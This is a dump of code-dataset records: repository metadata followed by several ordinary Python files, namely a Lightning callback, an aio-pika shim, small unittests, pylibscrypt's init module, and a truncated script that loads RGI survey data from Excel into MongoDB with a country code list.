0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
d636443a8a36748026b385e036e346a12bb8a6cc
316
py
Python
src/tensorneko/callback/display_metrics_callback.py
ControlNet/tensorneko
70dfb2f6395e1703dbdf5d5adcfed7b1334efb8f
[ "MIT" ]
9
2021-05-23T17:38:09.000Z
2021-12-30T19:12:12.000Z
src/tensorneko/callback/display_metrics_callback.py
ControlNet/tensorneko
70dfb2f6395e1703dbdf5d5adcfed7b1334efb8f
[ "MIT" ]
null
null
null
src/tensorneko/callback/display_metrics_callback.py
ControlNet/tensorneko
70dfb2f6395e1703dbdf5d5adcfed7b1334efb8f
[ "MIT" ]
null
null
null
from pytorch_lightning import Callback, Trainer, LightningModule class DisplayMetricsCallback(Callback): """A test callback to display the callback metrics.""" def on_validation_epoch_end(self, trainer: Trainer, pl_module: LightningModule) -> None: print(trainer.logger_connector.callback_metrics)
39.5
92
0.78481
36
316
6.694444
0.75
0.124481
0
0
0
0
0
0
0
0
0
0
0.136076
316
8
93
39.5
0.882784
0.151899
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.25
0
0.75
0.25
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
d6527542aada8a893c896f2bef7924e846bdb6ab
402
py
Python
aio_pika/compat.py
askabelin/aio-pika
38fd5897c556dd41624b8571b061f486e8e7508e
[ "Apache-2.0" ]
null
null
null
aio_pika/compat.py
askabelin/aio-pika
38fd5897c556dd41624b8571b061f486e8e7508e
[ "Apache-2.0" ]
null
null
null
aio_pika/compat.py
askabelin/aio-pika
38fd5897c556dd41624b8571b061f486e8e7508e
[ "Apache-2.0" ]
null
null
null
try: from typing import Awaitable except ImportError: from typing import Generic, TypeVar from abc import ABCMeta, abstractmethod T_co = TypeVar('T_co', covariant=True) class _Awaitable(metaclass=ABCMeta): __slots__ = () @abstractmethod def __await__(self): yield class Awaitable(Generic[T_co], extra=_Awaitable): __slots__ = ()
21.157895
53
0.649254
42
402
5.809524
0.571429
0.036885
0.131148
0
0
0
0
0
0
0
0
0
0.271144
402
18
54
22.333333
0.832765
0
0
0.153846
0
0
0.00995
0
0
0
0
0
0
1
0.076923
false
0
0.307692
0
0.692308
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
d658736df51f46b58037a9c1162a09f89a175b2b
530
py
Python
tests/elementary/test_right_to_left.py
roman-kachanovsky/checkio
3134cbc04ed56e92006d1e2f09d7365e900953db
[ "BSD-3-Clause" ]
1
2017-02-07T19:50:52.000Z
2017-02-07T19:50:52.000Z
tests/elementary/test_right_to_left.py
roman-kachanovsky/checkio-python
3134cbc04ed56e92006d1e2f09d7365e900953db
[ "BSD-3-Clause" ]
null
null
null
tests/elementary/test_right_to_left.py
roman-kachanovsky/checkio-python
3134cbc04ed56e92006d1e2f09d7365e900953db
[ "BSD-3-Clause" ]
null
null
null
import unittest from solutions.elementary.right_to_left import my_solution class TestSolution(unittest.TestCase): def test_solution(self): self.assertEqual(my_solution(('left', 'right', 'left', 'stop')), 'left,left,left,stop') self.assertEqual(my_solution(('bright aright', 'ok')), 'bleft aleft,ok') self.assertEqual(my_solution(('brightness wright',)), 'bleftness wleft') self.assertEqual(my_solution(('enough', 'jokes')), 'enough,jokes') if __name__ == '__main___': unittest.main()
31.176471
95
0.690566
62
530
5.629032
0.516129
0.143266
0.194842
0.286533
0
0
0
0
0
0
0
0
0.14717
530
16
96
33.125
0.772124
0
0
0
0
0
0.243396
0
0
0
0
0
0.4
1
0.1
false
0
0.2
0
0.4
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c38bdaad9a37319e47428ade06e8371a1be33324
1,461
py
Python
unittest/test_name_functions.py
chmendonca/python
4b336ebf0bc29aa4c644f0996431d13f853ac6e7
[ "MIT" ]
null
null
null
unittest/test_name_functions.py
chmendonca/python
4b336ebf0bc29aa4c644f0996431d13f853ac6e7
[ "MIT" ]
2
2020-04-30T15:36:56.000Z
2020-04-30T15:36:57.000Z
unittest/test_name_functions.py
chmendonca/python
4b336ebf0bc29aa4c644f0996431d13f853ac6e7
[ "MIT" ]
1
2022-01-17T04:11:10.000Z
2022-01-17T04:11:10.000Z
import unittest from name_functions import get_formatted_name class NamesTestCase(unittest.TestCase): """Testes para 'name_function.py'.""" def test_first_last_name(self): """Nomes como Janis Joplin funcionam?""" formatted_name = get_formatted_name('janis','joplin') self.assertEqual(formatted_name,'Janis Joplin') def test_first_last_name_mistake(self): """Nomes como Janis Joplin funcionam?""" formatted_name = get_formatted_name('janis','joplin') self.assertNotEqual(formatted_name,'Janis joplin') def test_leaving_first_name(self): """Nomes como Janis Joplin funcionam?""" formatted_name = get_formatted_name('q','joplin') self.assertEqual(formatted_name,'Q Joplin') def test_leaving_last_name(self): """Nomes como Janis Joplin funcionam?""" formatted_name = get_formatted_name('janis','q') self.assertEqual(formatted_name,'Janis Q') def test_first_middle_last_name(self): """Nomes como Janis Joplin funcionam?""" formatted_name = get_formatted_name('cassio','mendonça','henrique') self.assertEqual(formatted_name,'Cassio Henrique Mendonça') def test_first_middle_last_name_mistake(self): """Nomes como Janis Joplin funcionam?""" formatted_name = get_formatted_name('cassio','henrique','mendonça') self.assertNotEqual(formatted_name,'Cassio Henrique Mendonça') unittest.main()
38.447368
75
0.703628
172
1,461
5.686047
0.197674
0.252556
0.114519
0.110429
0.773006
0.587935
0.48773
0.48773
0.48773
0.48773
0
0
0.182067
1,461
38
76
38.447368
0.81841
0.164956
0
0.090909
0
0
0.140084
0
0
0
0
0
0.272727
1
0.272727
false
0
0.090909
0
0.409091
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
c393eee44d1158b27320536fe0b53e483e563d36
1,569
py
Python
pylibscrypt/__init__.py
jvarho/pylibscrypt
46f9c0a2f2c909a5765f748f2c188e336af221ed
[ "0BSD" ]
19
2015-02-03T22:25:09.000Z
2021-09-01T05:25:44.000Z
pylibscrypt/__init__.py
jvarho/pylibscrypt
46f9c0a2f2c909a5765f748f2c188e336af221ed
[ "0BSD" ]
16
2015-06-03T15:52:43.000Z
2019-03-24T16:47:52.000Z
pylibscrypt/__init__.py
jvarho/pylibscrypt
46f9c0a2f2c909a5765f748f2c188e336af221ed
[ "0BSD" ]
3
2015-05-26T01:39:20.000Z
2017-12-15T23:44:19.000Z
# Copyright (c) 2014-2021, Jan Varho # # Permission to use, copy, modify, and/or distribute this software for any # purpose with or without fee is hereby granted, provided that the above # copyright notice and this permission notice appear in all copies. # # THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF # OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. """Scrypt for Python""" __version__ = '2.0.0' # First, try hashlib _done = False try: from .hashlibscrypt import * except ImportError: pass else: _done = True # If that didn't work, try loading libscrypt if not _done: try: from .pylibscrypt import * except ImportError: pass else: _done = True # Next: try the scrypt module if not _done: try: from .pyscrypt import * except ImportError: pass else: _done = True # Next: libsodium if not _done: try: from .pylibsodium import * except ImportError: pass else: _done = True # If that didn't work either, the inlined Python version if not _done: from .pypyscrypt_inline import * __all__ = ['scrypt', 'scrypt_mcf', 'scrypt_mcf_check']
25.306452
74
0.699809
218
1,569
4.940367
0.490826
0.025998
0.085422
0.100279
0.224698
0.18013
0.18013
0.18013
0.100279
0.100279
0
0.00919
0.237094
1,569
61
75
25.721311
0.89056
0.579987
0
0.75
0
0
0.05836
0
0
0
0
0
0
1
0
false
0.125
0.28125
0
0.28125
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
c3b22aa5d2679a73097dbd5a85a28e6b5f056719
21,713
py
Python
pilot_main.py
byndcivilization/rgi-data-parse
56af0971c6ec0b72b7cfc0fe9e8886c1800e4025
[ "MIT" ]
1
2015-05-18T05:17:01.000Z
2015-05-18T05:17:01.000Z
pilot_main.py
byndcivilization/rgi-data-parse
56af0971c6ec0b72b7cfc0fe9e8886c1800e4025
[ "MIT" ]
null
null
null
pilot_main.py
byndcivilization/rgi-data-parse
56af0971c6ec0b72b7cfc0fe9e8886c1800e4025
[ "MIT" ]
null
null
null
#!/usr/bin/python """Parses and loads RGI questions from excel into MongoDB""" from xlrd import open_workbook from sys import argv from pilot_parser import parse from pymongo import MongoClient import json from pprint import pprint # from utils import write_json def main(args): """Main body""" args_len = len(args) class SetEncoder(json.JSONEncoder): def default(self, obj): if isinstance(obj, set): return list(obj) return json.JSONEncoder.default(self, obj) # set source excel and destination json files if args_len == 1: src = args[0] + '.xlsx' dest = args[0] + '.json' elif args_len == 2: src = args[0] + '.xlsx' dest = args[1] + '.json' else: print 'you must enter valid source and destination file names. If you enter a single \ argument, that will be taken as both source and desitnation name. Please limit input \ to two arguments.' exit() # Error handling for non-existing files try: workbook = open_workbook(src) except IOError: print 'File does not exist. Please give a valid source file' exit() data = [] # get sheets names sheet_names = workbook.sheet_names() parse(sheet_names[1], workbook.sheet_by_name(sheet_names[1]), data) countries_data = [ {'country': 'Afghanistan', 'country_ID': 'AFG', 'iso2': 'AF'}, # {'country': 'Aland Islands', 'country_ID': 'ALA', 'iso2': 'AX'}, {'country': 'Albania', 'country_ID': 'ALB', 'iso2': 'AL'}, {'country': 'Algeria', 'country_ID': 'DZA', 'iso2': 'DZ'}, # {'country': 'American Samoa', 'country_ID': 'ASM', 'iso2': 'AS'}, # {'country': 'Andorra', 'country_ID': 'AND', 'iso2': 'AD'}, {'country': 'Angola', 'country_ID': 'AGO', 'iso2': 'AO'}, # {'country': 'Anguilla', 'country_ID': 'AIA', 'iso2': 'AI'}, # {'country': 'Antarctica', 'country_ID': 'ATA', 'iso2': 'AQ'}, {'country': 'Antigua and Barbuda', 'country_ID': 'ATG', 'iso2': 'AG'}, {'country': 'Argentina', 'country_ID': 'ARG', 'iso2': 'AR'}, {'country': 'Armenia', 'country_ID': 'ARM', 'iso2': 'AM'}, {'country': 'Aruba', 'country_ID': 'ABW', 'iso2': 'AW'}, {'country': 'Australia', 'country_ID': 'AUS', 'iso2': 'AU'}, {'country': 'Austria', 'country_ID': 'AUT', 'iso2': 'AT'}, {'country': 'Azerbaijan', 'country_ID': 'AZE', 'iso2': 'AZ'}, {'country': 'Bahamas', 'country_ID': 'BHS', 'iso2': 'BS'}, {'country': 'Bahrain', 'country_ID': 'BHR', 'iso2': 'BH'}, {'country': 'Bangladesh', 'country_ID': 'BGD', 'iso2': 'BD'}, {'country': 'Barbados', 'country_ID': 'BRB', 'iso2': 'BB'}, {'country': 'Belarus', 'country_ID': 'BLR', 'iso2': 'BY'}, {'country': 'Belgium', 'country_ID': 'BEL', 'iso2': 'BE'}, {'country': 'Belize', 'country_ID': 'BLZ', 'iso2': 'BZ'}, {'country': 'Benin', 'country_ID': 'BEN', 'iso2': 'BJ'}, {'country': 'Bermuda', 'country_ID': 'BMU', 'iso2': 'BM'}, {'country': 'Bhutan', 'country_ID': 'BTN', 'iso2': 'BT'}, {'country': 'Bolivia, Plurinational State of', 'country_ID': 'BOL', 'iso2': 'BO'}, # {'country': 'Bonaire, Sint Eustatius and Saba', 'country_ID': 'BES', 'iso2': 'BQ'}, {'country': 'Bosnia and Herzegovina', 'country_ID': 'BIH', 'iso2': 'BA'}, {'country': 'Botswana', 'country_ID': 'BWA', 'iso2': 'BW'}, # {'country': 'Bouvet Island', 'country_ID': 'BVT', 'iso2': 'BV'}, {'country': 'Brazil', 'country_ID': 'BRA', 'iso2': 'BR'}, # {'country': 'British Indian Ocean Territory', 'country_ID': 'IOT', 'iso2': 'IO'}, {'country': 'Brunei Darussalam', 'country_ID': 'BRN', 'iso2': 'BN'}, {'country': 'Bulgaria', 'country_ID': 'BGR', 'iso2': 'BG'}, {'country': 'Burkina Faso', 'country_ID': 'BFA', 'iso2': 'BF'}, {'country': 'Burundi', 'country_ID': 'BDI', 'iso2': 'BI'}, {'country': 'Cambodia', 'country_ID': 'KHM', 'iso2': 'KH'}, {'country': 'Cameroon', 'country_ID': 'CMR', 'iso2': 'CM'}, {'country': 'Canada', 'country_ID': 'CAN', 'iso2': 'CA'}, {'country': 'Cape Verde', 'country_ID': 'CPV', 'iso2': 'CV'}, {'country': 'Cayman Islands', 'country_ID': 'CYM', 'iso2': 'KY'}, {'country': 'Central African Republic', 'country_ID': 'CAF', 'iso2': 'CF'}, {'country': 'Chad', 'country_ID': 'TCD', 'iso2': 'TD'}, {'country': 'Chile', 'country_ID': 'CHL', 'iso2': 'CL'}, {'country': 'China', 'country_ID': 'CHN', 'iso2': 'CN'}, # {'country': 'Christmas Island', 'country_ID': 'CXR', 'iso2': 'CX'}, # {'country': 'Cocos (Keeling) Islands', 'country_ID': 'CCK', 'iso2': 'CC'}, {'country': 'Colombia', 'country_ID': 'COL', 'iso2': 'CO'}, {'country': 'Comoros', 'country_ID': 'COM', 'iso2': 'KM'}, {'country': 'Congo', 'country_ID': 'COG', 'iso2': 'CG'}, {'country': 'Congo, The Democratic Republic of the', 'country_ID': 'COD', 'iso2': 'CD'}, # {'country': 'Cook Islands', 'country_ID': 'COK', 'iso2': 'CK'}, {'country': 'Costa Rica', 'country_ID': 'CRI', 'iso2': 'CR'}, {'country': 'Cote d\'Ivoire', 'country_ID': 'CIV', 'iso2': 'CI'}, {'country': 'Croatia', 'country_ID': 'HRV', 'iso2': 'HR'}, {'country': 'Cuba', 'country_ID': 'CUB', 'iso2': 'CU'}, # {'country': 'Curacao', 'country_ID': 'CUW', 'iso2': 'CW'}, {'country': 'Cyprus', 'country_ID': 'CYP', 'iso2': 'CY'}, {'country': 'Czech Republic', 'country_ID': 'CZE', 'iso2': 'CZ'}, {'country': 'Denmark', 'country_ID': 'DNK', 'iso2': 'DK'}, {'country': 'Djibouti', 'country_ID': 'DJI', 'iso2': 'DJ'}, {'country': 'Dominica', 'country_ID': 'DMA', 'iso2': 'DM'}, {'country': 'Dominican Republic', 'country_ID': 'DOM', 'iso2': 'DO'}, {'country': 'Ecuador', 'country_ID': 'ECU', 'iso2': 'EC'}, {'country': 'Egypt', 'country_ID': 'EGY', 'iso2': 'EG'}, {'country': 'El Salvador', 'country_ID': 'SLV', 'iso2': 'SV'}, {'country': 'Equatorial Guinea', 'country_ID': 'GNQ', 'iso2': 'GQ'}, {'country': 'Eritrea', 'country_ID': 'ERI', 'iso2': 'ER'}, {'country': 'Estonia', 'country_ID': 'EST', 'iso2': 'EE'}, {'country': 'Ethiopia', 'country_ID': 'ETH', 'iso2': 'ET'}, # {'country': 'Falkland Islands (Malvinas)', 'country_ID': 'FLK', 'iso2': 'FK'}, # {'country': 'Faroe Islands', 'country_ID': 'FRO', 'iso2': 'FO'}, {'country': 'Fiji', 'country_ID': 'FJI', 'iso2': 'FJ'}, {'country': 'Finland', 'country_ID': 'FIN', 'iso2': 'FI'}, {'country': 'France', 'country_ID': 'FRA', 'iso2': 'FR'}, # {'country': 'French Guiana', 'country_ID': 'GUF', 'iso2': 'GF'}, # {'country': 'French Polynesia', 'country_ID': 'PYF', 'iso2': 'PF'}, # {'country': 'French Southern Territories', 'country_ID': 'ATF', 'iso2': 'TF'}, {'country': 'Gabon', 'country_ID': 'GAB', 'iso2': 'GA'}, {'country': 'Gambia', 'country_ID': 'GMB', 'iso2': 'GM'}, {'country': 'Georgia', 'country_ID': 'GEO', 'iso2': 'GE'}, {'country': 'Germany', 'country_ID': 'DEU', 'iso2': 'DE'}, {'country': 'Ghana', 'country_ID': 'GHA', 'iso2': 'GH'}, # {'country': 'Gibraltar', 'country_ID': 'GIB', 'iso2': 'GI'}, {'country': 'Greece', 'country_ID': 'GRC', 'iso2': 'GR'}, {'country': 'Greenland', 'country_ID': 'GRL', 'iso2': 'GL'}, {'country': 'Grenada', 'country_ID': 'GRD', 'iso2': 'GD'}, # {'country': 'Guadeloupe', 'country_ID': 'GLP', 'iso2': 'GP'}, {'country': 'Guam', 'country_ID': 'GUM', 'iso2': 'GU'}, {'country': 'Guatemala', 'country_ID': 'GTM', 'iso2': 'GT'}, # {'country': 'Guernsey', 'country_ID': 'GGY', 'iso2': 'GG'}, {'country': 'Guinea', 'country_ID': 'GIN', 'iso2': 'GN'}, {'country': 'Guinea-Bissau', 'country_ID': 'GNB', 'iso2': 'GW'}, {'country': 'Guyana', 'country_ID': 'GUY', 'iso2': 'GY'}, {'country': 'Haiti', 'country_ID': 'HTI', 'iso2': 'HT'}, # {'country': 'Heard Island and McDonald Islands', 'country_ID': 'HMD', 'iso2': 'HM'}, # {'country': 'Holy See (Vatican City State)', 'country_ID': 'VAT', 'iso2': 'VA'}, {'country': 'Honduras', 'country_ID': 'HND', 'iso2': 'HN'}, {'country': 'Hong Kong', 'country_ID': 'HKG', 'iso2': 'HK'}, {'country': 'Hungary', 'country_ID': 'HUN', 'iso2': 'HU'}, {'country': 'Iceland', 'country_ID': 'ISL', 'iso2': 'IS'}, {'country': 'India', 'country_ID': 'IND', 'iso2': 'IN'}, {'country': 'Indonesia', 'country_ID': 'IDN', 'iso2': 'ID'}, {'country': 'Iran, Islamic Republic of', 'country_ID': 'IRN', 'iso2': 'IR'}, {'country': 'Iraq', 'country_ID': 'IRQ', 'iso2': 'IQ'}, {'country': 'Ireland', 'country_ID': 'IRL', 'iso2': 'IE'}, # {'country': 'Isle of Man', 'country_ID': 'IMN', 'iso2': 'IM'}, {'country': 'Israel', 'country_ID': 'ISR', 'iso2': 'IL'}, {'country': 'Italy', 'country_ID': 'ITA', 'iso2': 'IT'}, {'country': 'Jamaica', 'country_ID': 'JAM', 'iso2': 'JM'}, {'country': 'Japan', 'country_ID': 'JPN', 'iso2': 'JP'}, # {'country': 'Jersey', 'country_ID': 'JEY', 'iso2': 'JE'}, {'country': 'Jordan', 'country_ID': 'JOR', 'iso2': 'JO'}, {'country': 'Kazakhstan', 'country_ID': 'KAZ', 'iso2': 'KZ'}, {'country': 'Kenya', 'country_ID': 'KEN', 'iso2': 'KE'}, {'country': 'Kiribati', 'country_ID': 'KIR', 'iso2': 'KI'}, {'country': 'DPRK Korea', 'country_ID': 'PRK', 'iso2': 'KP'}, {'country': 'Republic of Korea', 'country_ID': 'KOR', 'iso2': 'KR'}, {'country': 'Kuwait', 'country_ID': 'KWT', 'iso2': 'KW'}, {'country': 'Kyrgyzstan', 'country_ID': 'KGZ', 'iso2': 'KG'}, {'country': 'Lao Peoples Democratic Republic', 'country_ID': 'LAO', 'iso2': 'LA'}, {'country': 'Latvia', 'country_ID': 'LVA', 'iso2': 'LV'}, {'country': 'Lebanon', 'country_ID': 'LBN', 'iso2': 'LB'}, {'country': 'Lesotho', 'country_ID': 'LSO', 'iso2': 'LS'}, {'country': 'Liberia', 'country_ID': 'LBR', 'iso2': 'LR'}, {'country': 'Libya', 'country_ID': 'LBY', 'iso2': 'LY'}, {'country': 'Liechtenstein', 'country_ID': 'LIE', 'iso2': 'LI'}, {'country': 'Lithuania', 'country_ID': 'LTU', 'iso2': 'LT'}, {'country': 'Luxembourg', 'country_ID': 'LUX', 'iso2': 'LU'}, # {'country': 'Macao', 'country_ID': 'MAC', 'iso2': 'MO'}, {'country': 'Macedonia, Republic of', 'country_ID': 'MKD', 'iso2': 'MK'}, {'country': 'Madagascar', 'country_ID': 'MDG', 'iso2': 'MG'}, {'country': 'Malawi', 'country_ID': 'MWI', 'iso2': 'MW'}, {'country': 'Malaysia', 'country_ID': 'MYS', 'iso2': 'MY'}, # {'country': 'Maldives', 'country_ID': 'MDV', 'iso2': 'MV'}, {'country': 'Mali', 'country_ID': 'MLI', 'iso2': 'ML'}, # {'country': 'Malta', 'country_ID': 'MLT', 'iso2': 'MT'}, # {'country': 'Marshall Islands', 'country_ID': 'MHL', 'iso2': 'MH'}, # {'country': 'Martinique', 'country_ID': 'MTQ', 'iso2': 'MQ'}, {'country': 'Mauritania', 'country_ID': 'MRT', 'iso2': 'MR'}, # {'country': 'Mauritius', 'country_ID': 'MUS', 'iso2': 'MU'}, # {'country': 'Mayotte', 'country_ID': 'MYT', 'iso2': 'YT'}, {'country': 'Mexico', 'country_ID': 'MEX', 'iso2': 'MX'}, # {'country': 'Micronesia, Federated States of', 'country_ID': 'FSM', 'iso2': 'FM'}, {'country': 'Moldova, Republic of', 'country_ID': 'MDA', 'iso2': 'MD'}, # {'country': 'Monaco', 'country_ID': 'MCO', 'iso2': 'MC'}, {'country': 'Mongolia', 'country_ID': 'MNG', 'iso2': 'MN'}, {'country': 'Montenegro', 'country_ID': 'MNE', 'iso2': 'ME'}, # {'country': 'Montserrat', 'country_ID': 'MSR', 'iso2': 'MS'}, {'country': 'Morocco', 'country_ID': 'MAR', 'iso2': 'MA'}, {'country': 'Mozambique', 'country_ID': 'MOZ', 'iso2': 'MZ'}, {'country': 'Myanmar', 'country_ID': 'MMR', 'iso2': 'MM'}, {'country': 'Namibia', 'country_ID': 'NAM', 'iso2': 'NA'}, # {'country': 'Nauru', 'country_ID': 'NRU', 'iso2': 'NR'}, {'country': 'Nepal', 'country_ID': 'NPL', 'iso2': 'NP'}, {'country': 'Netherlands', 'country_ID': 'NLD', 'iso2': 'NL'}, # {'country': 'New Caledonia', 'country_ID': 'NCL', 'iso2': 'NC'}, {'country': 'New Zealand', 'country_ID': 'NZL', 'iso2': 'NZ'}, {'country': 'Nicaragua', 'country_ID': 'NIC', 'iso2': 'NI'}, {'country': 'Niger', 'country_ID': 'NER', 'iso2': 'NE'}, {'country': 'Nigeria', 'country_ID': 'NGA', 'iso2': 'NG'}, # {'country': 'Niue', 'country_ID': 'NIU', 'iso2': 'NU'}, # {'country': 'Norfolk Island', 'country_ID': 'NFK', 'iso2': 'NF'}, # {'country': 'Northern Mariana Islands', 'country_ID': 'MNP', 'iso2': 'MP'}, {'country': 'Norway', 'country_ID': 'NOR', 'iso2': 'NO'}, {'country': 'Oman', 'country_ID': 'OMN', 'iso2': 'OM'}, {'country': 'Pakistan', 'country_ID': 'PAK', 'iso2': 'PK'}, # {'country': 'Palau', 'country_ID': 'PLW', 'iso2': 'PW'}, {'country': 'Palestine, State of', 'country_ID': 'PSE', 'iso2': 'PS'}, {'country': 'Panama', 'country_ID': 'PAN', 'iso2': 'PA'}, {'country': 'Papua New Guinea', 'country_ID': 'PNG', 'iso2': 'PG'}, {'country': 'Paraguay', 'country_ID': 'PRY', 'iso2': 'PY'}, {'country': 'Peru', 'country_ID': 'PER', 'iso2': 'PE'}, {'country': 'Philippines', 'country_ID': 'PHL', 'iso2': 'PH'}, # {'country': 'Pitcairn', 'country_ID': 'PCN', 'iso2': 'PN'}, {'country': 'Poland', 'country_ID': 'POL', 'iso2': 'PL'}, {'country': 'Portugal', 'country_ID': 'PRT', 'iso2': 'PT'}, {'country': 'Puerto Rico', 'country_ID': 'PRI', 'iso2': 'PR'}, {'country': 'Qatar', 'country_ID': 'QAT', 'iso2': 'QA'}, # {'country': 'Reunion', 'country_ID': 'REU', 'iso2': 'RE'}, {'country': 'Romania', 'country_ID': 'ROU', 'iso2': 'RO'}, {'country': 'Russian Federation', 'country_ID': 'RUS', 'iso2': 'RU'}, {'country': 'Rwanda', 'country_ID': 'RWA', 'iso2': 'RW'}, # {'country': 'Saint Barthelemy', 'country_ID': 'BLM', 'iso2': 'BL'}, # {'country': 'Saint Helena, Ascension and Tristan da Cunha', 'country_ID': 'SHN', 'iso2': 'SH'}, # {'country': 'Saint Kitts and Nevis', 'country_ID': 'KNA', 'iso2': 'KN'}, # {'country': 'Saint Lucia', 'country_ID': 'LCA', 'iso2': 'LC'}, # {'country': 'Saint Martin (French part)', 'country_ID': 'MAF', 'iso2': 'MF'}, # {'country': 'Saint Pierre and Miquelon', 'country_ID': 'SPM', 'iso2': 'PM'}, # {'country': 'Saint Vincent and the Grenadines', 'country_ID': 'VCT', 'iso2': 'VC'}, # {'country': 'Samoa', 'country_ID': 'WSM', 'iso2': 'WS'}, # {'country': 'San Marino', 'country_ID': 'SMR', 'iso2': 'SM'}, {'country': 'Sao Tome and Principe', 'country_ID': 'STP', 'iso2': 'ST'}, {'country': 'Saudi Arabia', 'country_ID': 'SAU', 'iso2': 'SA'}, {'country': 'Senegal', 'country_ID': 'SEN', 'iso2': 'SN'}, {'country': 'Serbia', 'country_ID': 'SRB', 'iso2': 'RS'}, {'country': 'Seychelles', 'country_ID': 'SYC', 'iso2': 'SC'}, {'country': 'Sierra Leone', 'country_ID': 'SLE', 'iso2': 'SL'}, {'country': 'Singapore', 'country_ID': 'SGP', 'iso2': 'SG'}, # {'country': 'Sint Maarten (Dutch part)', 'country_ID': 'SXM', 'iso2': 'SX'}, {'country': 'Slovakia', 'country_ID': 'SVK', 'iso2': 'SK'}, {'country': 'Slovenia', 'country_ID': 'SVN', 'iso2': 'SI'}, # {'country': 'Solomon Islands', 'country_ID': 'SLB', 'iso2': 'SB'}, {'country': 'Somalia', 'country_ID': 'SOM', 'iso2': 'SO'}, {'country': 'South Africa', 'country_ID': 'ZAF', 'iso2': 'ZA'}, # {'country': 'South Georgia and the South Sandwich Islands', 'country_ID': 'SGS', 'iso2': 'GS'}, {'country': 'Spain', 'country_ID': 'ESP', 'iso2': 'ES'}, {'country': 'Sri Lanka', 'country_ID': 'LKA', 'iso2': 'LK'}, {'country': 'Sudan', 'country_ID': 'SDN', 'iso2': 'SD'}, {'country': 'Suriname', 'country_ID': 'SUR', 'iso2': 'SR'}, {'country': 'South Sudan', 'country_ID': 'SSD', 'iso2': 'SS'}, # {'country': 'Svalbard and Jan Mayen', 'country_ID': 'SJM', 'iso2': 'SJ'}, {'country': 'Swaziland', 'country_ID': 'SWZ', 'iso2': 'SZ'}, {'country': 'Sweden', 'country_ID': 'SWE', 'iso2': 'SE'}, {'country': 'Switzerland', 'country_ID': 'CHE', 'iso2': 'CH'}, {'country': 'Syrian Arab Republic', 'country_ID': 'SYR', 'iso2': 'SY'}, {'country': 'Taiwan, Province of China', 'country_ID': 'TWN', 'iso2': 'TW'}, {'country': 'Tajikistan', 'country_ID': 'TJK', 'iso2': 'TJ'}, {'country': 'Tanzania, United Republic of', 'country_ID': 'TZA', 'iso2': 'TZ'}, {'country': 'Thailand', 'country_ID': 'THA', 'iso2': 'TH'}, {'country': 'Timor-Leste', 'country_ID': 'TLS', 'iso2': 'TL'}, {'country': 'Togo', 'country_ID': 'TGO', 'iso2': 'TG'}, # {'country': 'Tokelau', 'country_ID': 'TKL', 'iso2': 'TK'}, # {'country': 'Tonga', 'country_ID': 'TON', 'iso2': 'TO'}, {'country': 'Trinidad and Tobago', 'country_ID': 'TTO', 'iso2': 'TT'}, {'country': 'Tunisia', 'country_ID': 'TUN', 'iso2': 'TN'}, {'country': 'Turkey', 'country_ID': 'TUR', 'iso2': 'TR'}, {'country': 'Turkmenistan', 'country_ID': 'TKM', 'iso2': 'TM'}, # {'country': 'Turks and Caicos Islands', 'country_ID': 'TCA', 'iso2': 'TC'}, # {'country': 'Tuvalu', 'country_ID': 'TUV', 'iso2': 'TV'}, {'country': 'Uganda', 'country_ID': 'UGA', 'iso2': 'UG'}, {'country': 'Ukraine', 'country_ID': 'UKR', 'iso2': 'UA'}, {'country': 'United Arab Emirates', 'country_ID': 'ARE', 'iso2': 'AE'}, {'country': 'United Kingdom', 'country_ID': 'GBR', 'iso2': 'GB'}, {'country': 'United States', 'country_ID': 'USA', 'iso2': 'US'}, # {'country': 'United States Minor Outlying Islands', 'country_ID': 'UMI', 'iso2': 'UM'}, {'country': 'Uruguay', 'country_ID': 'URY', 'iso2': 'UY'}, {'country': 'Uzbekistan', 'country_ID': 'UZB', 'iso2': 'UZ'}, # {'country': 'Vanuatu', 'country_ID': 'VUT', 'iso2': 'VU'}, {'country': 'Venezuela, Bolivarian Republic of', 'country_ID': 'VEN', 'iso2': 'VE'}, {'country': 'Viet Nam', 'country_ID': 'VNM', 'iso2': 'VN'}, # {'country': 'Virgin Islands, British', 'country_ID': 'VGB', 'iso2': 'VG'}, # {'country': 'Virgin Islands, U.S.', 'country_ID': 'VIR', 'iso2': 'VI'}, # {'country': 'Wallis and Futuna', 'country_ID': 'WLF', 'iso2': 'WF'}, # {'country': 'Western Sahara', 'country_ID': 'ESH', 'iso2': 'EH'}, {'country': 'Yemen', 'country_ID': 'YEM', 'iso2': 'YE'}, {'country': 'Zambia', 'country_ID': 'ZMB', 'iso2': 'ZM'}, {'country': 'Zimbabwe', 'country_ID': 'ZWE', 'iso2': 'ZW'} ] env_list = ["1: Remote", "2: Local"] try: env_pick = input("Select the destination environment: " + ' '.join(env_list) + "\n") except NameError: print 'You must pick 1 or 2' exit() if env_pick < 1 or env_pick > 2: print 'You must pick 1 or 2' exit() elif env_pick == 1: environment = 'remote' elif env_pick == 2: environment = 'local' if environment == 'remote': username = raw_input('Enter your MongoDB username [empty for no db]: ') if username != '': password = raw_input('Enter your 